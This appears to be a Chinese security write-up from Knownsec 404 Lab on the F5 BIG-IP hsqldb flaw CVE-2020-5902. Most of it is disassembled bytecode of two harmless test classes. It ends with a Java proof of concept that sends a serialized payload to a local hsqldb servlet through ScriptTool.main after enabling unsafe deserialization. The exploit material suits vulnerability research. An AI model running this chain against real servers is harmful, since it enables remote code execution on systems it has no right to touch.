F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析 – 作者:知道创宇404实验室

Classfile /C:/Users/dell/Desktop/hsqlServlet.class
  Last modified 2018-11-14; size 128 bytes
  MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #3.#7          // org/hsqldb/Servlet."<init>":()V
   #2 = Class              #8             // hsqlServlet
   #3 = Class              #9             // org/hsqldb/Servlet
   #4 = Utf8               <init>
   #5 = Utf8               ()V
   #6 = Utf8               Code
   #7 = NameAndType        #4:#5          // "<init>":()V
   #8 = Utf8               hsqlServlet
   #9 = Utf8               org/hsqldb/Servlet
{
  public hsqlServlet();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method org/hsqldb/Servlet."<init>":()V
         4: return
}

Classfile /C:/Users/dell/Desktop/Test.class
  Last modified 2020-7-13; size 586 bytes
  MD5 checksum eea80d1f399295a29f02f30a3764ff25
  Compiled from "Test.java"
public class Test
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #7.#22         // java/lang/Object."<init>":()V
   #2 = Fieldref           #23.#24        // java/lang/System.out:Ljava/io/PrintStream;
   #3 = String             #25            // aaa
   #4 = Methodref          #26.#27        // java/io/PrintStream.println:(Ljava/lang/String;)V
   #5 = String             #19            // test
   #6 = Class              #28            // Test
   #7 = Class              #29            // java/lang/Object
   #8 = Utf8               <init>
   #9 = Utf8               ()V
  #10 = Utf8               Code
  #11 = Utf8               LineNumberTable
  #12 = Utf8               LocalVariableTable
  #13 = Utf8               this
  #14 = Utf8               LTest;
  #15 = Utf8               main
  #16 = Utf8               ([Ljava/lang/String;)V
  #17 = Utf8               args
  #18 = Utf8               [Ljava/lang/String;
  #19 = Utf8               test
  #20 = Utf8               SourceFile
  #21 = Utf8               Test.java
  #22 = NameAndType        #8:#9          // "<init>":()V
  #23 = Class              #30            // java/lang/System
  #24 = NameAndType        #31:#32        // out:Ljava/io/PrintStream;
  #25 = Utf8               aaa
  #26 = Class              #33            // java/io/PrintStream
  #27 = NameAndType        #34:#35        // println:(Ljava/lang/String;)V
  #28 = Utf8               Test
  #29 = Utf8               java/lang/Object
  #30 = Utf8               java/lang/System
  #31 = Utf8               out
  #32 = Utf8               Ljava/io/PrintStream;
  #33 = Utf8               java/io/PrintStream
  #34 = Utf8               println
  #35 = Utf8               (Ljava/lang/String;)V
{
  public Test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method java/lang/Object."<init>":()V
         4: return
      LineNumberTable:
        line 1: 0
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       5     0  this   LTest;

  public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #3                  // String aaa
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 3: 0
        line 4: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  args   [Ljava/lang/String;

  public void test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #5                  // String test
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 7: 0
        line 8: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  this   LTest;
}
SourceFile: "Test.java"

public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
        String url = "http://localhost:8080";
        String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));

        System.out.println(payload);

        String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
        Class.forName("org.hsqldb.jdbcDriver");

        Connection connection = DriverManager.getConnection(dburl, "sa", "");
        Statement statement = connection.createStatement();
        statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
        statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
    }